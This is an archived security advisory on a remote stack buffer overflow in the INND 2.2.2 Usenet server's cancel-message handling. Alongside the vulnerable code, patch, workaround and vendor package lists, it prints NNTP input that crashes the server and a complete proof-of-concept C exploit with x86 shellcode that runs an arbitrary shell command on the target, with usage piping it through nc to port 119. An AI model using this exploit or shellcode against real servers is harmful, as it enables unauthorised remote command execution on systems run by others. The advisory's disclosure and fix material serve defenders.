TUCoPS :: Unix :: General :: innd9~1.txt

COMMAND
 innd
SYSTEMS AFFECTED
 INND 2.2.2
PROBLEM
 Michal Zalewski found following. Newest innd 2.2.2, probably the
 most popular usenet news server (as well as previous versions)
 contain remotely exploitable, trivial on-stack buffer overflow in
 control articles handler.
 Offending piece of code (in innd/art.c, function ARTcancelverify):
 if (!EQ(local, p)) {
 files = NULL;
 (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
 p, MessageID, local);
 ARTlog(Data, ART_REJECT, buff);
 }
 Where buff (local stack buffer) is SMBUF bytes long (it means,
 256 bytes), but MessageID can be up to 1000 almost bytes long.
 This code is reached when cancel request is sent to special
 newsgroup (called 'control'), and cancel request contains valid
 Message-ID, but From/Sender fields are different in cancel
 request and in original posting.
 How to exploit it? It could be a problem for script kiddies, as
 Message-ID is strictly checked for non-printable characters etc.
 But hey, Message-ID can be used only as a padding, and then we
 can overwrite return address with From/Sender address of cancel
 post! This field is not verified in any fascist way. Shellcode?
 Can be placed anywhere, quite big portions of cancel post are
 lying in the accessible memory when overflow happens.
 Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has
 to be the same every time):
 -- input -
 201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
 mode reader
 group pl.test
 post
 Message-ID: <none@LONGBUFFER>
 From: <test@polbox.com>
 Sender: <test@polbox.com>
 Newsgroups: pl.test
 testing
 . <- single dot, comment to avoid mail transfer problems
 group control
 post
 Message-ID: <some-random-msgid@test.pl>
 Approved: <approver@approving.net>From: <sucker@free.net.pl>
 Sender: <sucker@free.net.pl>
 Control: cancel <none@LONGBUFFER>
 Subject: cmsg cancel <none@LONGBUFFER>
 Newsgroups: control
 Damn, cancel it.
 . <- single dot
 quit
 -- EOF --
 If innd/nnrp is running under debugger like strace, you'll see
 that child process responsible for request handling dies with
 SIGSEGV. Nice.
 Wojciech Purczynski wrote proof-of-concept exploit. It is rather
 trivial to exploit as we have plenty of room to put our shellcode.
 /*
 * inndx: innd remote 'news' user/group exploit
 *
 * Written on 12th June 2000 by Wojciech Purczynski
 * <wp@elzabsoft.pl> cliph/ircnet
 *
 * Bug found by Michal Zalewski.
 *
 * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
 *
 * Usage:
 * ./inndx [command [offset]]|nc -i 1 target.host 119
 */
 #include <stdio.h>
 #include <unistd.h>
 #define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
 #define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
 #define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
 #define NOP 0x90
 #define FAKEPTR 0xbffff1c0
 #define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
 #define BODYSIZE 999
 /* Code written by me */
 char * run_command=
 "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
 "\x80\x3f\xff\x75\xfa\x88\x07\x47"
 "\x89\x37\x89\xf3\x46\x80\x3e\x2e"
 "\x75\xfa\x88\x06\x46\x89\x77\x04"
 "\x46\x80\x3e\x2e\x75\xfa\x88\x06"
 "\x46\x89\x77\x08\x89\x47\x0c\x89"
 "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
 "\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
 "\xbe\xff\xff\xff/bin/sh.-c.";
 int main(int argc, char *argv[])
 {
 int retaddr=RETADDR;
 char messageid[256];
 char sender[16];
 char body[BODYSIZE];
 char * command=COMMAND;
 int midsize;
 int i;
 if (argc>1) command=argv[1];
 if (argc>2) retaddr+=atoi(argv[2]);
 memset(sender, 0, sizeof(sender));
 strcpy(sender+0, "a@a."); /* EBP */
 *(long*)(sender+4)=(long)retaddr; /* EIP */
 *(long*)(sender+8)=(long)RETADDR+1000; /* Data */
 memset(messageid, 'a', sizeof(messageid));
 sprintf(messageid, "%s@a", tmpnam(NULL)+9);
 messageid[strlen(messageid)]='a';
 messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;
 memset(body, NOP, sizeof(body));
 strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
 strcat(body, command);
 strcat(body, "\xff");
 fprintf(stderr, "RETADDR=%p\n", retaddr);
 fprintf(stderr, "COMMAND=%s\n", command);
 printf("mode reader\r\ngroup test\r\npost\r\n");
 printf("Message-ID: <%s>\r\n", messageid);
 printf("From: %s\r\nSender: %s\r\n", sender, sender);
 printf("Newsgroups: test\r\n");
 printf("Subject: blah\r\n");
 printf("\r\nblah\r\n.\r\n");
 printf("group control\r\npost\r\n");
 printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
 printf("From: a@b.c\r\nSender: a@b.c\r\n");
 printf("Control: cancel <%s>\r\n", messageid);
 printf("Subject: cmsg cancel <%s>\r\n", messageid);
 printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
 }
SOLUTION
 Note that this code is only ever executed if the option
 "verifycancels" is enabled in inn.conf. This is *not* the
 default, and has been recommended against for some time now since
 it really doesn't do any real good. It is enabled by default in
 RH, and usually is enabled on live innd sites.
 INN 1.7.x and earlier is not affected by this. The vulnerable
 code appeared in the 2.x branch. Obvious fix:
 --- inn/innd/art.c 2000年06月05日 22:39:52 1.142
 +++ inn/innd/art.c 2000年06月06日 19:31:56 1.143
 @@ -1042,7 +1042,7 @@
 HeaderCleanFrom(p);
 if (!EQ(q, p)) {
 token = NULL;
 - (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
 + (void)sprintf(buff, "\"%.50s\" wants to cancel %.70s by \"%.50s\"",
 p, MessageID, q);
 ARTlog(Data, ART_REJECT, buff);
 }
 Those folks who want to run with verifycancels turned on should
 get the latest STABLE snapshot from /isc/inn/snapshots on
 ftp.isc.org. 2.2.3 fixes this. Workaround in the meantime is to
 turn off verifycancels in inn.conf. This whole block of code will
 likely be removed for INN 2.4.
 Note that due to the syntax checking INN performs on message IDs,
 this will be mildly difficult to exploit, although it's probably
 at least theoretically possible.
 For Caldera Systems it is known that vulnerable are OpenLinux
 Desktop 2.3 (previous to inn-2.2.3), OpenLinux eServer 2.3 and
 OpenLinux eBuilder (previous to inn-2.2.3) and OpenLinux eDesktop
 2.4 (previous to inn-2.2.3). If you do not use INN, simply remove
 the package:
 rpm -e inn
 In /etc/news/inn.conf replace the line:
 verifycancels: true
 by
 verifycancels: false
 and reload the INN configuration:
 /usr/libexec/inn/bin/ctlinnd reload all 'security fix'
 As for Conectiva Linux (4.0, 4.1, 4.2 and 5.0) use same or:
 i386/inews-2.2.2-3cl.i386.rpm
 i386/inn-devel-2.2.2-3cl.i386.rpm
 i386/inn-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0
 Direct links to the packages:
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/inews-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/inn-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/inn-devel-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/inews-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/inn-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/inn-devel-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/inews-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/inn-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/inn-devel-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/inews-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/inn-2.2.2-3cl.i386.rpm
 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/inn-devel-2.2.2-3cl.i386.rpm
 For Mandrake Linux:
 6.0/RPMS/inews-2.2.3-1mdk.i586.rpm
 6.0/RPMS/inn-2.2.3-1mdk.i586.rpm
 6.0/RPMS/inn-devel-2.2.3-1mdk.i586.rpm
 6.0/SRPMS/inn-2.2.3-1mdk.src.rpm
 6.1/RPMS/inews-2.2.3-1mdk.i586.rpm
 6.1/RPMS/inn-2.2.3-1mdk.i586.rpm
 6.1/RPMS/inn-devel-2.2.3-1mdk.i586.rpm
 6.1/SRPMS/inn-2.2.3-1mdk.src.rpm
 7.0/RPMS/inews-2.2.3-1mdk.i586.rpm
 7.0/RPMS/inn-2.2.3-1mdk.i586.rpm
 7.0/RPMS/inn-devel-2.2.3-1mdk.i586.rpm
 7.0/SRPMS/inn-2.2.3-1mdk.src.rpm
 7.1/RPMS/inews-2.2.3-1mdk.i586.rpm
 7.1/RPMS/inn-2.2.3-1mdk.i586.rpm
 7.1/RPMS/inn-devel-2.2.3-1mdk.i586.rpm
 7.1/SRPMS/inn-2.2.3-1mdk.src.rpm
 The Internet Software Consortium shutted down tgis holewith
 bug-fix release of INN is available at:
 ftp://ftp.isc.org/isc/inn/inn-2.2.3.tar.gz
 This will be the final release of the INN 2.2.x series, barring
 major security holes. INN 2.3.0 will be released shortly, and
 features a significantly different internal architecture.
 Development has already begun on the INN 2.4.x series.